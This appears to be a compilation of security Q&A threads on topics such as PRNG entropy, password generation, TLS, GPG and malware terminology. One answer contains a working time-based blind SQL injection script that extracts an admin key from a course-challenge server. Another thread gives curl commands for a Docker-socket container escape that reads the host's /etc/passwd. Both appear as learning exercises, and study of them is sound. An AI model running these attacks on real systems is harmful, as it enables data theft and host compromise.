Evaluating the entropy gathering in a PRNG I'm reviewing the random number generator (expected to be of cryptographic quality) on an embedded device. My point of view here is the operating system and crypto library implementer. I'm particularly concerned about entropy gathering. I've identified a few points to look over:

How is the initial state of the PRNG is generated?
When should the PRNG refuse to deliver until it gets more entropy?
There is an API call to inject more entropy, how well does it mix the new entropy with the existing state?

(In my case, there is a hardware RNG, too slow to use systematically, but we can get entropy from it.)

If my implementation is good, what should the answers to these questions look like? What other questions should I try to answer?

"Entropy" is a measure of what some data element could have been. We say that we have n bits of entropy in a bunch of bits if those bits could have, collectively, assumed 2n distinct values with uniform probability (there is a whole lot of complexity which hides under the "uniform" term). To make a cryptographically secure PRNG, you have to:

Gather enough data from random sources so as to reach at least 128 bits of entropy. The idea is that it should not be feasible, for an attacker, to "try" a non-negligible part of the space of 2n possible internal states. n=80 used to be the traditional value for that, but given the technological advances since the 80s', we now prefer n=128, which is a power of two, hence Blessed by the Gods.
Use that entropy-laden seed in a proper stream-cipher-like function: this is a function which outputs pseudo-random bits, based on an initial key; here, the key will be derived from the seed through a one-way function with a fixed-length output (i.e. a hash function). The security characteristics you look for here is that it should not possible, given a sequence of successive output bits, to be able to guess any other past or future output bit with success probability substantially better than 0.5. Mind the "future bits" part: this is not as immediate as you might think.

The second point is not easy. As a basic rule, if the stream-cipher-like function is not a published construction which has been precisely described in some standard, and analyzed by dozens of cryptographers, then you should consider the PRNG as being of dubious quality. A homemade PRNG is as bad as a homemade block cipher: it could be strong, but many homemade PRNG are not strong, and there is no sure test for cryptographic strength.

NIST published a complete description of some "approved" PRNG. If the PRNG you use is one of those, then that's good. Otherwise, you should really raise a warning flag.

As for your exact questions:

The initial PRNG state should be gathered from "good alea sources" which means that the source should not only produce "changing" data, but also in a way such that an attacker cannot observe the changes. For instance, sending "ping" requests to an external network host, and measuring the time it took for the response to come back, is not a good source: it sure looks random, but one has to assume that the attacker can observe your outgoing ICMP requests and the corresponding answers, and thus obtain the same timing measures. For a more detailed treatment of such questions, have a look at this answer (yes, I am quoting myself).
The injection of additional entropy is very similar to the injection of the initial state: the "random data" used as seed if often bulky, hence there should be some mixing step to yield a high-entropy, short sequence. The tool here is any secure hash function. To make things simple, the injection should look like this: we take the current internal state, we concatenate the additional "entropy", and we hash the whole thing; the hash output is the new state. Beware: this kind of thing relies on security properties that are not exactly guaranteed for any given hash function. What I mean here is that being secure for such a usage is not a consequence as being collision or preimage resistant. Hence, there is a kind of leap of faith when using a hash function for that (although you could do worse than using SHA-256, for instance). In the NIST PRNG, I recommend having a good look at HMAC-DRBG, which uses HMAC for that kind of job. HMAC is a Message Authentication Code which uses an underlying hash function in a way which allows better "security proofs" for similar reasons.
The idea of a PRNG refusing to deliver more data until it gets more entropy is a bit of a voodoo ritual: it is important only if you believe in it. If you initialized your PRNG with a random enough initial seed, and then used a proper data-generation function, then there should be no security issue in producing petabytes of pseudo-alea from it. However, it makes some people nervous, hence many PRNG implementations include a blocking behaviour, in which the PRNG will refuse to output more than, say, 1 MB of data from 128 bits of initial entropy. In practice, a blocking PRNG (beyond initialization -- it is necessary to block until enough initial entropy has been gathered) leads to deployment issues (e.g. a Linux OS automatic installation which blocks on a server, when it comes to generating the SSH key, because there is no keyboard or mouse to gather entropy from the user). As a rule:

a. do as the PRNG standard states (see NIST SP 800-90);

b. unless the standard explicitly states otherwise, do not ever block, as long as you got a complete initial seed.

Note that Linux's /dev/random and /dev/urandom both fail at that: /dev/random will block way too often, and /dev/urandom never blocks at all, even if it did not get a good initial seed. Fortunately, any decent Linux distribution will make sure that /dev/urandom is initialized with a good enough seed as part of the boot scripts (including keeping a random seed in a hidden file, generated at the previous shutdown). FreeBSD's /dev/urandom behaves in the way I describe, and that's good.


What security considerations are there when developing a random password generator? I would like to implement a password creating program, similar to ones provided by Symantec and LastPass. This program will allow the user to simply specify different password lengths and options.

Are there any security considerations that should be made aside from using a proper cryptographically secure pseudo-random number generator in the algorithms? My plan was to use something like the RNGCryptoServiceProvider . "Secure random password generator" means one that is at least not backdoored or susceptible to frivolous flaws due to improper implementation. This is not a networked application.

Please note: I have no intention of "rolling my own" crypto or hashing.

Creating a secure password generator is fairly easy, provided you have two components:

A cryptographically secure RNG. This means the output of the RNG is a bit stream that must not be predictable under any conditions. In most cases however, you can just use a PRNG designed specifically for key generation like /dev/urandom, /dev/random, or CryptGenRandom. Regular PRNG like Mersenne Twister should not be used for key generation. You should not attempt to write your own CSPRNG unless you have a deep background in CSPRNG mathematics. This is the part where most "regular people developing password generators" often don't really pay enough attention to.
A one-to-one encoding algorithm. This algorithm encodes the bit stream produced by the RNG into something acceptable by the system that needs to use the password and, for memorizable password, the preference of the user. A one-to-one encoding is a function that does not have any output collisions for its inputs, so a the function does not lose any entropy produced by the RNG during the encoding. This is the part that is actually extremely easy, but most "regular people developing password generators" often overcomplicate unnecessarily, and end up weakening their password generation method.

Example of one-to-one encoding algorithm: Diceware, base64, hex encoding, any perfect hash function. Example of transformation algorithm not suitable for password generation: most regular hash algorithm.

Once you have these two components, all you need to do is ask the CSPRNG for a bit stream of length n, where n is the required strength of your password, and encode that bitstream using your selected encoding algorithm.

Pitfall: You should parameterize the encoding algorithm so it can never produce a password that would be rejected by the target system's password policy. If you simply reject a password and generate it again using different random value, you are reducing the entropy. In theory, this does mean that you will need to know the exact password policy detail of each system you need to generate for to correctly calculate your password strength. In practice, you can often simply add a few more bit strength to compensate for the entropy loss due to such overcomplicated password policy.

Pitfall: For memorizable passwords, the user must be trained not to reject any password that they end up finding hard to memorize as this also reduces the entropy. This means that memorizable password encoder should be designed as much as possible so that it produces passwords/paraphrases that's most likely to be accepted by the user in the first try. There are few encoding algorithms that attempts this, for example EFF Diceware wordlist or Grammatical Diceware.


What is the likelihood of getting sensitive information off of a backup tape? For purpose of the quesition, I am going to paint a picture:

A system administrator maintains and backs up a production server for clients with sensitive financial information (account numbers, names, SSNs, etc).  The machine is a Windows 2003 R2 64-bit Itanium server with Backup Exec 13d as the backup solution.  The backup rotation is a full backup on a 3 week rotation unencrypted using LTO3.  One tape a week is transported to another location for disaster recovery purposes.

The concern:

What if the tape gets lost in transit?

Aside from the PR issues with the clients having to disclose that their information has been displaced, what is the actual likelihood that useable information for the purpose of identity fraud could be abstracted?  I paint the picture above because from the point of view of the finder of the tape there are a lot of unknowns (aside from the label of what day the tape is backed up on). This backup could have been from an *nix system using bacula on an IBM Power System for all they know.  The only thing they have for sure is the type of tape from the labeling.  Aside from that, where would somebody with malicious intent start?

Yes, it is very easy to retrieve data if you have the tape. The only challenge with older tapes is ensuring you have an appropriate reader. Once you have the reader you can easily work out what operating system and backup application write to the tape.

You must treat backups the same way you treat live data. If it is sensitive, use controls such as encryption.

From an attacker's viewpoint backups are often a soft target.


Employer stores plain text personal data in a 'data warehouse' I'm unsure if I have posted this in the correct community but the organisation I am currently working for currently uses an SQL 'data warehouse' which contains a bunch of tables from various sources, for various purposes. This data warehouse (as far as I can tell) has two or three environments; Dev, QA and Production.

I was recently granted access to the development data warehouse SQL server for a software development project I am working on.

I had to request permission to gain access to this data warehouse server. I only have access to the development server and as I was browsing through the tables to find the one required for my project, I came across the ones which contain sensitive data. Being curious, I ran a simple 'SELECT TOP 1000 ROWS' query and it came back with the sensitive employee data from 2012-2013, in plain text (including National Insurance Numbers, Next of kin details, qualification details, addresses, phone numbers, car registrations etc.).

This development server is accessed by a number of developers within my organisation (including myself) for various projects.

1) I don't think this data should be stored on the development environment (I believe everything was copied back from Production server at some point).

2) I don't think these details should be stored in plain text for anyone to see via a simple SQL query.

3) I don't believe that myself and other developers within the organisation should have free access to these tables.

I'm fairly certain that my employer is not aware of this and are actually storing all of this information in plain text, in the production environment. I also think that this breaches some sort of privacy or GDPR law.

I've spoken to my manager about this but they seem to be glossing over it and ignoring the issue/ not wanting to get involved.

How do I report this without getting into trouble myself, for viewing these tables? And who do I report to?

When your organization is subject to the GDPR, then it should have a designated Data Protection Officer. This person is responsible for ensuring that data protection laws are applied within the organization.

This should be the first place to report to.


Custom response for Web Application Firewall (WAF) What should be the custom response code when WAF blocks a request due to matched rules or policy violation.
We should kept the response code as 403 or 200 when WAF returns a response against a blocked request. What is the general security practice and why

I don't think there is a standard way, however there is a code 401 "Unauthorized", 403 "Forbidden", or even the code 450 "Blocked by Windows Parental Controls" and I think cloudfare are using their own codes. My suggestion is don't bring too much information to the attacker about the reason and probably just reject with a 401 or something standard. Take into account that if you respond with a 4xx "Firewall blocked" the attacker will know that you are using a waf.


Find vulnerability in node.js web service to reveal secret key for admin I've tried to solve the following "hacking" challenge  in order to get experience with web vulnerabilities.

The service is programmed in node.js and is accessible as http://lbs-course.askarov.net:3030:

app.post ("/reset/", function (req, res) {
    var user = req.body.username;
    if (!user) {
      res.send("no username provided");
    } else {
      db.get (
        "select * from users where username='" + user + "'",
        function (err, row) {
          // ...
          if (row) {
            // ... send email because we have a real response
          }
          res.send("password reset email has been queued");
        })
    }
})

The details for sending emails are irrelevant and are commented out (as in the challenge).

The data is stored in a simple SQLite 3 database. The users tables used by the service is created using the following SQL create query:

CREATE TABLE users(username text, passwordhash text, key text)

There exists at least one user in the database, with username admin.

Goal:

Obtain the private key for user admin.

My attempt:

I've tried SQL injection, e.g. with user set to ' OR ''=', however nothing happens... Also, I've read articles about MS SQL supporting the EXECUTE() function, but I cannot find the equivalent in SQLite. With such a function, I could in principle execute shell commands like nslookup.

It is obvious that the only point where this service is vulnerable is the db.get() call, and since the details for sending emails are irrelevant, then I must somehow make the database send the private key for admin (reason for EXECUTE() call).

I'm stuck in this challenge after spending lots of hours, so I think it's time to ask the community for help.

The application seems to be resilient to malformed SQL queries and does not output error information directly to the user. So, if the application will not explicitly output the stored key, then we should aim at retrieving it by other means.

A more subtle SQL injection technique is that of timed SQL queries: In order to gain information about what's stored in the database, we will ask queries that takes "long" time to execute if successful, otherwise they terminate "fast". The definition of successful depends on the application, but it would normally mean that our query returns a result. Also, "fast" and "long" execution times are parametrized by the application.

Now, since you know the database is an SQLite database, we should look for a function that would take "long" to execute. Some databases have the canonical choice of SLEEP() available, but SQLite does not provide such functionality. Instead, we could rely on the RANDOMBLOB(), which generates a sequence of random bits.

How long does RANDOMBLOB() takes to execute? Well, this should be measured by the attacker, and the resulting measure will (partly) determine the meaning of "fast" and "long" execution times. Indeed, it would be more accurate to use the SLEEP() function, but RANDOMBLOB() will suffice for our purposes.

Another function that will prove useful in extracting the key is SUBSTR(): We extract the key character-by-character with a "long" response meaning success, while a "fast" response means fail.

Since, we know that admin is guaranteed to be in the database, we send a POST-request with the following value for username:

"admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --"

This string gets substituted for user by the application in the query string:

 "select * from users where username='" + user + "'"

This is turn yields:

"select * from users where username='admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --'"

Indeed, we see that if ch match key at position pos, then RANDOMBLOB() gets executed and the response will take a "long" time to arrive. Otherwise, the response will arrive "fast".

A Python script to extract the secret (PGP) key:

Be aware that it might be necessary to adjust the timeout parameter according to server load and execution time of RANDOMBLOB().

import requests
import socket
import string

url = 'http://lbs-course.askarov.net:3030/reset'
timeout = 6
size = 1000000000
key_len = 1000
rounds = 3

def main():
    key = ""
    for pos in range(1,key_len+1):
        for ch in string.printable:
            try:
                if test_key_index(pos, ch):
                    print("[INFO] Found key position {pos}: {ch}".format(pos=pos, ch=ch))
                    key = key + ch
                    break
            except KeyboardInterrupt as e:
                print("[INFO] Partial key obtained: {key}".format(key=key))
                return
    print("[INFO] Partial key obtained: {key}".format(key=key))

def test_key_index(pos, ch):
    query = "admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --".format(pos=pos, ch=ch, size=size)
    #print(query)
    post_fields = {'username': query} # POST fields
    for _ in range(rounds):
        try:
            response = requests.post(url, data=post_fields, timeout=timeout)
            return False
        except requests.exceptions.Timeout as timeout_e:
            pass
    return True

if __name__ == '__main__':
    main()

Hope this helps!


Is it dangerous to let the user input into a LIKE sql statement Assuming I want to implemante a search engine, is it dangerous to let the user into a LIKE. For example :

SELECT user FROM table WHERE user LIKE "[user input]"

In this case, I assume user will be allowed to type characters such as %,_
We also assume that we properly escape injection characters such as ",',`

I'm thinking about possible Mysql DDOS if the database contain a large amount of user. Is there other(s) risk ?

The risk is no different than accepting user input for a regular evaluation. You still need to sanitize the data as well as use safe practices such as stored procedures.

The unique issue with LIKE comes into play when it is used but shouldn't be. For example your application wants to retrieve something with a certain ID but using LIKE could return a similar but different ID. One you wouldn't returned to your end user. But this isn't an issue you should have with a search engine.

On an additional note using LIKE with MySQL will give you a very basic and limited search engine that doesn't scale well at all. For alternatives consider matching against FullText searchable columns or using something meant for the job like Lucene, Sphinx, Elasticsearch, Solr.


Do I need to use GPG subkeys for my backups? I'm reading a lot about the need to separate the master key from additional encrypting or signing keys, like these links:

GPG subkey layout. Separate keys for C, S and E?
https://alexcabal.com/creating-the-perfect-gpg-keypair/
https://www.void.gr/kargig/blog/2013/12/02/creating-a-new-gpg-key-with-subkeys/

As I'm actually planning to use GPG only for protecting my backup data, is it useful to go trough all this procedure?

The primary key is not able to decrypt information encrypted for a subkey. If you encrypted your backup for a subkey and lose access to the private subkey, you cannot decrypt your backup any more.

Things are different with signing. If you lose a private signing subkey, you revoke it and generate a new one. You will never have to use the old signing subkey again, as signatures are verified through the public subkey.


side channel attacks - powered off system with physical access Can you run Side-Channel-Attacks against a PC which was found properly shutdown and powered off?

The attacker knows the cryto-tools used to encrypt the data. The attacker has full and unlimited physical access to the whole system. The system is not infected with any malware. The user who knows the passwords will not interact with this system anymore. The system is working perfectly fine - except the wanted data is encrypted and the password is unknown.

Considering the System (Laptop or Desktop) using 2 Harddrives.

HDD#1: using LUKS encrypted filesystem
HDD#2: using Truecrypt AES-256 encrypted container-file on non-encrypted filesystem

So for example can the attacker replace the harddrive, boot the system then use the same crypto tools again to encrypt some data with a known password while observing the side-channels and then use this information to break the other encryption? Are there other ways to still break it regarding side-channels or else?

No.  A side channel attack is one that monitors a cryptographic process while it's operating, and uses leaked information to determine the secrets.  Examples include: monitoring the CPU for RF emissions while it is encrypting, monitoring the power consumption of the CPU while it is encrypting, monitoring the time it takes to encrypt, monitoring the noise the CPU makes while it is encrypting.  In every case, the encryption it is monitoring is already legitimately in possession of the key.

A powered off system that does not have the key will never perform a legitimate encryption/decryption operation.  Therefore it has no attack surface for a side channel attack.

It is still susceptible to other attacks such as password guessing, forensically examining the swap file to see if the legitimate password was ever stored in memory that was swapped out, or threatening the former keyholder until he reveals the key. Just not side channel attacks.

EDIT

A comment below asks if the attacker could extract the password from components.

Generally the key bits won't remain in dynamic electronic components for very long (exclusive of freezing the DRAM chips as @TomLeek points out.) Components such as bus latches, network adapters, etc., won't typically ever house the key, and even if they did, their memory buffers are generally very short, dynamic, and designed only for transient data.

Some people have theorized that a key stored for an extended duration in the same physical cells of RAM might cause a "burn-in" effect such that the memory cells could be differentiated with some specialized equipment or software.  The theory is that if you knew which cells held the key bits, you could determine how long they can hold a charge before requiring refresh.  The idea is that a bit that held a 1 might decay from a 1 state slower than from a 0 state.  Such attacks have been demonstrated in a laboratory environment, and who knows, perhaps a government may be able to use them in a high profile spy case, but are not within the capabilities of an ordinary police investigation.  Criminal organizations are not yet known to have these capabilities.

PGP Desktop marketing calls this effect "static ion migration" and attempts to mitigate this avenue of attack by keeping two copies of the key, and periodically inverting the key bits of each.  (Ironically, it turns out to be a blessing for side channel attacks, as a RAM scraper can efficiently look for memory that is the bit inverse of another area of memory.)

See this paper, RAM is KEY for more on finding keys in volatile memory.

If the key was ever stored to permanent storage, such as HDD, flash, or CMOS, though, recovery becomes possible.  The application has to keep track of every place it might have been written, and overwrite it.  That's almost impossible with flash memory, because the wear leveling algorithms continually move where data is stored.


Docker: Not able to read local file system I am inside the container, and I am trying to learn escaping from container to host. So I create a vulnerable environment, on which the container is having `/var/run/docker.sock' file inside the container to make API calls.
So I tried to create a container which will mount the path source / to container /host directory. / as this contains the whole file system.
curl -X POST -H "Content-Type: application/json" --unix-socket /run/docker.sock -d '{"Image":"ubuntu:latest", "Cmd":["cat", "/host/etc/passwd"], "Mounts":[{"Type":"bind", "Source":"/", "Target":"/host"}]}' "http://localhost/containers/create?name=escaping"

I start the container
curl -X POST --unix-socket /run/docker.sock "http://localhost/containers/escaping/start"

when I checked the logs by using this
curl --output - --unix-socket /run/docker.sock "http://localhost/containers/escaping/logs?stdout=true"

As you can see, I was cat the /etc/passwd file in the first command, So I thought i would get the host file contents, but when I checked the contents, those were very first containers file content from which I was running the CURL command.
So what am i missing here?

I'd start by saying you're making things a bit tough for yourself by doing this with curl rather than the docker CLI (it's a good thing to learn though)
So I think your problem here is that you've cat'd /etc/passwd inside the container, rather than /host/etc/passwd remember you're mounting the host filesystem with /host as a base, so you need to prepend that path to any files you're looking to get access to.


Is there a digital "safety deposit box" equivalent? Digital safety deposit boxes: do they exist? if yes, are (any|they) trustworthy?

There are many bricks and mortar financial institutions where one can rent a locked box in a locked room and be assured the contents are secure, that access is constrained and under strict and constant surveillance, and that no one other than yourself and certain named and properly authenticated others will ever have access. It's the traditional place to safekeep things like one's last will and testament, property deeds, family jewels, the map to great grandpap's treasure box under the ol' crooked oak tree, and so on.

Is there a digital analogue? A place to keep one's master password file and other digital treasures safe and secure, but available to authorized people upon one's death or other defined circumstances?

update, 2011-Jun-13 - Here's the central idea presented as a story, provided by this.josh:

  Alice has some data protected with
  access controls to maintain the data's
  confidentiality. Alice has a friend
  (or family member) Bob. In the event
  of Alice's death, she wants to pass
  ownership of the data to Bob. If Alice
  had stored the data on a DVD and kept
  it in a safe deposit box, and had
  written a will specifying that she
  wanted Bob to receive the DVD after
  her death. All Bob would need to get
  access to the DVD would be a copy of
  the will and a death certificate.
  Something that works like this, but
  digital.

There are three meanings for "safety" here:

safe against eavesdroppers (confidentiality);
safe against malicious alterations and/or theft (integrity & availability);
safe against accidental alteration and/or loss (integrity & availability, also).

Amazon S3 is a service which strives at providing safety types 2 and 3, but not 1. However, their liability in case of alteration or loss seems to be limited.

There exist solutions for higher security (at least for protection against loss), but they are not cheap. They involve storage duplicated into several data centers which are physically remote from each other (as was said in the aftermath of the World Trade Center destruction in 2001, "a local in the basement" is not remote enough, even in a 400m high building). One example of a society which offers that kind of "secure archival" is Zantaz.

Provable long term integrity (i.e. not only the files are not altered, but it can be proven in a way which could convince a judge during a dispute) requires Time Stamps, and (for the "long term" part) more time stamps in successive layers (e.g. as specified in ERS).

Confidentiality is mostly orthogonal to all of that. You get it through encryption, which reduces the problem (you no longer have to worry about 400 GB of data, but only a 128-bit symmetric key or an equivalent such as a "long" passphrase). You should be able to remember a single passphrase; for added safety, print it and store the paper in a bank (in case you forget it, or your heirs must get it after your demise).


Are there any artifacts for filesystem forensics in memory? I have a memory dump. I know it is infected by a rootkit which uses its own file system installed at the end of the disk. Can there be any artifacts in dmp file to show this?

The answer all depends on the rootkit and how it operated. There WILL BE remnants, but whether they are visible, encrypted, mangled, etc., are another story. Since you have a memory image, you can analyze it with Volatility, carve out data from the dmp with psdispscan if you can detect the anomaly from the memory. You could also use scalpel to do this but again, you need something to base your carvings on.

Had I to perform these tasks, I'd use a combination of Volatility, Memoryze, and Redline. I would try to carve out as many processes as possible, any anomalies, and perhaps shove some of them through Virustotal or Anubis. It all depends on my objective(s). So the short answer, yes there will be remnants, the conclusive answer: There are remnants you may not be able to see.


Does using Ghostery with Privacy Badger impair PB's heuristic learning? I am running Ghostery and Privacy Badger for FF.

From what I have read at eff.org/privacybadger, PB uses a heuristic algorithm to learn what 3rd-party sites are tracking me. If I am running Ghostery at the same time, does that prevent PB from learning?

If Ghostery does inhibit PB's learning, that presents me with a potential "catch-22". I don't want to let trackers slip through while PB is learning, but I would like PB to get to a level where I would no longer find Ghostery necessary.

Yes and no - the sites blocked by ghostery (or other ad/tracker blockers like uBlock or Disconnect) won't be picked up by Privacy Badger, meaning that they won't get included in its heuristics. At the same time this means that they are successfully getting blocked - by your other ad/tracker blocker.

This means that Privacy Badger will catch all the things that don't trigger the block lists on your ad blockers. If you turn off your ad blocker then there will suddenly be new third parties that Privacy Badger hasn't seen before and it will take it a few visits to flag these as trackers. But if you use the same ad/tracker blocker regularly you shouldn't have this problem.


User authentication SQL injection Is this authentication mechanism vulnerable to SQL injection?
If so, how could one exploit it, and what is the most effective way to mitigate this?

if (isset($_POST['userid']) && isset($_POST['password'])){

$username = $_POST['userid'];
$password = crypt($_POST['password'],'34l5kj');

    $query = "SELECT * FROM users WHERE name =:username and pass=:password";
$db->query($query);
$db->bind(':username', $username);
$db->bind(':password', $password);
$db->execute();
$data = $db->single();

            $_SESSION['valid_user'] = $username;
            $_SESSION['user_id'] = $data['id'];
            $_SESSION['pwd']=$_POST['password'];

You are using bound params which is a great start. This tiny snippet of code should be fine against regular input SQLi but there are a few other potential issues:

You are not validating/sanitising the input. Although your are using bind, you should still be doing this
You are assigning the password to a session variable. Why? You effectively have the plain text PW floating around your web app
You are not sanitising the DB output before storing it in the SESSION variables. Not knowing what your other code looks it is impossible to see how this would be exploited. Just don't take the chance.


What are the risks when using QR to authenticate when using offline MFA in cases network is unavailable due to a network outage if the PingID service is unreachable the user will receive a QR code on an offline authentication screen. in case of Offline MFA when the network is unavailable due to a network outage (i.e. in an airplane or when network reception is poor.) or similar issue, I was wondering what are the possible risks we exposed here.

The introduction of paper "Two-Factor Authentication with End-to-End Password Security" by Stanislaw Jarecki, Hugo Krawczyk, Maliheh Shirvanian and Nitesh Saxena address all online and offline attack vectors for most MFA/TFA scenarios.

Let me quote the important section (page 2, section Vulnerabilities of traditional TFA schemes): "Existing TFA schemes, both PIN-based and those that do not rely on PINs, e.g. [1,8], combine password authentication and 2nd-factor authentication as separate authentication mechanisms leading to several limitations. Chief among these is that such TFA solutions remain vulnerable to offline dictionary attacks upon server compromise in the same way as non-TFA password authentication schemes (i.e. via exposure of users’ salted hashes), thus perpetuating the main source of password leakage.Moreover, existing TFA’s have several vulnerabilities against online attacks: (1)The read-and-copy PIN-transfer is subject to a variety of eavesdropping attacks,including SMS hijacking, shoulder-surfing, PIN recording, client-side or device-side attacks via keyloggers or screen scrapers"

In your case if the client and device are compromised (as described in this paper: "Screenmilker: how to milk your android screen for secrets"), the QR code and the user password could be known to the attacker.

I strongly recommend reading both papers I mentioned to everyone actively working with TFA/MFA solutions or scenarios.


Does it matter how information is represented prior to signing? I have messages that will form a permanent record and be stored for a long time. I care about integrity, authentication, and non-repudiation, so I intend to have the clients creating those messages sign them with private keys prior to submitting them, so that their content and origin may be verified on submission and again at any point in the future. My plan is to have the clients hash the messages with SHA-256 and sign that hash using 2048-bit RSA private keys. The messages will be structured data with a fixed number of fields. (In case it matters, the present spec calls for each message to consist of three ASCII strings, two unsigned integers, and a timestamp.)

Is the guarantee conveyed by the message signature impacted by how the message is represented? To be more concrete, does it make a practical difference in how difficult it is to alter or forge a signed message if the message to be signed is in e.g. XML, or JSON, or DER, or just concatenated together with line breaks for separators?

Most solutions I have come across have chosen a XML-like structure where the 'plain text' have been one part and the signature have been an added section.

Before

<message><various tags to represent your data></message>

After

<message><various tags to represent your data><signedhash></signedhash></message>

But to answer your question, I would say it would have little practical difference.

There are theoretical increased risk with any situation where you increase the predictability of your plain text before encryption where randomized padding was used for example to make sure all messages was exactly the same number of bytes.

If you put in known structure in your hash, it might take me a few decades less to brute-force a hash that matches correctly?


Using Uber, Amazon apps in public networks Everybody knows that one should not enter sensitive data in public wifi networks. Checking bank account using bar's wifi is not the best idea.

But what about applications that also use sensitive data? For example, I come to new country, connect to airport wifi (internet roaming is usually not the cheapest one) open Uber application on my android and look for a taxi. Normally, data about my credit card is already saved at Uber's servers and I transfer only some ID of payment type. I also hope that Uber use https encryption of my data of taxi search.

There are also some scenarios like buying something, for example, at Amazon and using for payment saved credit card.

I find this dangerous depending on the application. I hope that popular applications like Uber, Amazon, etc. think a bit about security and never transfer card details after it is saved one time on their servers. So they are safe to use even with sensitive data in public networks.
But I have doubts about this. Do you think the same as me? Maybe I loose something.

TLS has been designed to provide confidentiality and integrity of communication across untrusted networks. While I would agree that I would avoid doing banking on public networks if you can avoid it, so long as you're not seeing certificate errors while doing it (which means you're traffic is being intercepted) I would say you're probably okay and don't have too much to worry about.

Now I will qualify that with that fact there are appliances and vendors (such as Symantec / BlueCoat) that could intercept your traffic without you seeing any errors as Symantec is a trusted CA. With that said these appliances are very expensive and not likely to be deployed in smaller "wifi" hotspots.

In the instance where your Credit Card is saved on file prior, those details are stored on their end and do not cross the wire back to your device when processing transactions. The application, such as Uber or Amazon will interact with the credit card processor to process the transaction and not your phone so that shouldn't be a concern for you. Your concern should be the transmission of your credentials over untrusted networks, but as mentioned above so long as you don't see certificate errors I would imagine you're okay.


Terminology involving malware/virus/worm What is the difference between "worms", "viruses", and "malware"?

Some sources I've found said both viruses and worms infect files. But others say worms are stand alone programs, and are characterized by exploiting a weakness. Which is it? Isn't the definition of both malware and virus is they run without the users knowledge and usually do something harmful?

sources:
http://www.webopedia.com/DidYouKnow/Internet/virus.asp
https://support.symantec.com/en_US/article.TECH98539.html
http://www.diffen.com/difference/Computer_Virus_vs_Computer_Worm

"Malware" is a general term for all categories of harmful software, including software that doesn't try to spread itself, but only does things that the user would rather it didn't.

A "worm" is a self-propagating program that can spread without outside help.  An example would be a program that looks for an unsecured SSH server, uploads itself, and then runs itself on the newly-infected system.

A "virus" is not self-propagating.  Instead, it piggybacks on another program, only executing when the infected program is run.  An example would be a program that runs on a computer, looking for USB thumb drives; when it finds one, it modifies every program on that drive to contain a copy of itself.

Email, the Internet, and the design of modern operating systems makes the boundary between "worm" and "virus" a bit fuzzy.  Is a program that depends on a bug to add its code to an already-running program for initial infection, but runs on its own afterwards, a worm or a virus?


Creating secure circuit in first generation Onion Routing I'm reading paper on first generation Onion Routing from 1996.

From paper:

  "To begin a session between an initiator and a responder, the
  initiator's proxy identifies a series of routing nodes forming a route
  through the network and constructs the onion which encapsulates that
  route."

But how does the initiator's proxy know that this specific route will connect to receiver's proxy? I know that in second generation (TOR) route is created after receiving list of nodes from Node Directory. But that doesn't explain how initiator's proxy know on which of proxies receiver is listening for message.

Is there anything I'm missing here? Where does knowledge about potential routes come from in first generation OR? How do we make sure that chosen route leads to receiver's proxy?

Edit
I found another remark about this in paper about Tor.

  "(...) The earlier Onion Routing design planned to flood state information
  through the network—an approach that can be unreliable and complex. (...)"

In the theory of onion routing, the underlying routing graph is complete. All routing nodes can talk to the initiator's proxy and the receiver's proxy. In TCP/IP terminology, the initiator's proxy, receiver's proxy, and the routing nodes, all have fixed public IP addresses, and any of these machines can open a TCP connection to any other of these machines.

In that sense, the route is not so much discovered than defined. All routes are possible; the initiator just selects one.

The conceptual difficulty here is in realizing that there are two very distinct layers. Physically, there are not wires going between any two pairs of machines; any communication from machine A to machine B will need to go through a number of intermediary hosts. However, once that system is up and running (that's the "Internet"), we can reason about it as an abstract method that can convey information between any two systems. It is the encryption that allows for this abstraction: routers that are physically involved in transferring data from node A to node B won't be able to know where the data should go after node B because that information is encrypted and only B has the decrypting key.


Logging in to a website, We can use RSA to send password from client to server but what about the reverse? I'm building an android banking app:
Part I

So while the user is signing in he would need to provide his email and password in a form inside the app. Okay, so we can encrypt the password by using RSA and we would send the encrypted message (Let this message be called E) to the server(In my case a php), that would decrypt the data and compare the hashed password... And the server would know the password is correct.

1) Can't a hacker monitoring the data transferred between the user's phone and a wifi be able to know E? So wouldn't he be able to send E to the server and fake being the user signing in?
Part II

Now the server would reply to client, after verification of password, and send him some private data, for example his balance(or private transactions).
case a: We don't encrypt the private data, the hacker here would obviously be able to see the private data(which are supposed to be private).
case b: We encrypt the data, using public secret key encryption, so the private key would be inside the app.

2) But wouldn't the private key in this case(case b) be actually "not private" as a hacker could decrypt my apk file and see the private key? What is the solution?

3) In case b, is the method of encryption(RSA) wrong? Is there a better method?

1) What you a describing is known as a replay attack. If you did just encrypt a message with textbook RSA (without random padding or a nonce incorporated into the message) this would be possible. However, when people use RSA to send data, they usual are referring to SSL/TLS, where RSA is the method used to exchange a symmetric key that is then used for the rest of the communication. If you are using chrome and go to security on a page using https, you can see a message like

The connection to this site is encrypted and authenticated using a strong protocol (TLS 1.2), a strong key exchange (ECDHE_ECDSA with X25519), and a strong cipher (AES_128_GCM).

which shows that ECDHE (elliptic curve diffe-hellman)  was used instead of RSA as a public key encryption and the symmetric key was AES-128. Included in this protocol are measures to prevent against replay attacks. if you aren't using SSL and want to just use RSA, you would have to add a nonce or padding

2 and 3) as mentioned above, you shouldn't need to put a private key in your app. You can use the public key of the server to communicate and establish and symmetric key. Encrypting whole messages with RSA is considered slow and you really should use an existing library to do SSL/TLS or such. And avoid rolling your own crypto. Whether RSA is safe is another question. It certainly is with high enough key sizes (2048), but other key exchange methods have other advantages (like diffe-hellman hiding the key from an outside observer, even if done in plaintext)


How to select /dev/random or dev/urandom in the code in Android? When generating randomness using SecureRandom in Android, I want to select /dev/random or /dev/urandom as the seed source. It can be done in java.security file on Linux and Windows systems but there's not a java.security file on Android for now as much as I know. How can I do this selection?

This distinction doesn't exist under Android. Android did it right -- there's just a single randomness source (unless the system opts to provide others) that provides randomness that is guaranteed to be cryptographically-secure. The platform ensures it's seeded, so there's nothing you need to do.


Is it already the right time to say goodbye to TLS1.1 support on web servers? Reading different articles, mentioning this one, for the sake of this question on old TLS topic.

Quoting part of the article:

  30 June 2018 is the deadline for disabling SSL/early TLS and implementing a more secure encryption protocol – TLS 1.1 or higher (TLS v1.2 is strongly encouraged) in order to meet the PCI Data Security Standard (PCI DSS) for safeguarding payment data.

I am thinking, if it is already the right time to disable TLS1.1 support on web servers?

To be specific on servers with highly sensitive data for instance.
